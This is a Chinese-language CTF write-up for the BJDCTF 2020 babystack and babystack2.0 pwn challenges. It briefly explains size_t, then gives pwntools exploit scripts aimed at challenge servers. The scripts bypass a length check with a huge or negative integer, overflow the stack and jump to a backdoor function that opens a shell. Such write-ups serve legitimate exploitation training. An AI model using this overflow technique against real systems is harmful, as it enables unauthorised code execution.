[BJDCTF 2020]babystack2.0

分析

64位程序,开启了栈不可执行(NX)、部分RELRO保护(RELRO)

size_t 是一些C/C++标准在stddef.h中定义的,size_t 类型表示C中任何对象所能达到的最大长度,它是无符号整数。

它是为了方便系统之间的移植而定义的,不同的系统上,定义size_t 可能不一样。size_t在32位系统上定义为 unsigned int,也就是32位无符号整型。在64位系统上定义为 unsigned long ,也就是64位无符号整形。size_t 的目的是提供一种可移植的方法来声明与系统中可寻址的内存区域一致的长度。

size_t 在数组下标和内存管理函数之类的地方广泛使用。例如,size_t 用做sizeof 操作符的返回值类型,同时也是很多函数的参数类型,包括malloc 和strlen。

这里得到shellcode的地址add=0x400726

exp:

from pwn import *
from LibcSearcher import *

context(os = "linux", arch = "amd64", log_level= "debug")
p = remote('node4.anna.nssctf.cn',28156)

backdoor = 0x400726
p.sendlineafter("length of your name:", "2147483649")
payload = b'a' * 0x18 + p64(backdoor)
p.sendlineafter("name?", payload)
p.sendline("cat flag")

p.interactive()

exp:

from pwn import *
io = remote('node2.anna.nssctf.cn',28666)

backdoor = 0x0400726
payload = b'a' * 0x18 + p64(backdoor)

io.sendlineafter('name:','-1')
io.sendlineafter('name?',payload)
io.interactive()

备注:一些相关的处理方法链接

(10条消息) LibcSearcher 安装 错误处理 与使用_yongbaoii的博客-CSDN博客

[BJDCTF 2020]babystack

分析

64位程序,开启了栈不可执行,部分RELRO保护

这里和2.0相同只是注意/bin/shell的地址不同

exp:

from pwn import *
io = remote('node2.anna.nssctf.cn',28666)

backdoor = 0x0400726
payload = b'a' * 0x18 + p64(backdoor)

io.sendlineafter('name:','-1')
io.sendlineafter('name?',payload)
io.interactive()